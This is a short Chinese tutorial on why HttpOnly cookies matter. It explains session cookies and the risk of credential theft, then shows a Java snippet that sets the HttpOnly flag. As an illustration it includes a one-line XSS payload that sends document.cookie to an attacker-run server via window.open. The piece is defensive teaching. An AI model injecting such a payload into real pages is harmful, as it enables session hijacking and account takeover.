HttpOnly详解

前言

Http连接是无状态的, 也就是说, 即使你发送第一次Http请求, 传了个param参数给Web服务器。第二次Http请求想获取param参数, 是获取不到的, 因为Web服务器是不认识你的。
为了完成这个需求, 我们可以使用CookieSession进行存储数据, 在Cookie中存入本次会话的SessionID, 那Web服务器从Cookie中获取SessionID就可以知道你是哪个用户, 知道你之前存了什么数据。

危险

我们知道Cookie是明文存储的, 甚至就算是小白用户, 也可以通过浏览器直接查看。那么如果小明知道了小红的Cookie里的用户凭证, 然后将自己的Cookie的用户凭证改为小红的用户凭证, 那不就可以看到小红的信息了?

HttpOnly

比如我自己搭建一个服务器http://localhost:8080, 然后在要窃取Cookie页面按下F12打开Console控制台执行下面代码(XSS攻击)

1
window.open('http://localhost:8080?c='+document.cookie);

就可以将Cookie发送到我们自己的服务器。

那么, 只要不让document获取到敏感Cookie就好了。
Cookie设置HttpOnly, 禁止js获取。

1
2
3
4
5
6
7
@RequestMapping("/test")
public String test(HttpServletResponse response){
Cookie cookie = new Cookie("key1", "value1");
cookie.setHttpOnly(true); // 设置HttpOnly
response.addCookie(cookie);
return "test.jsp"
}

参考资料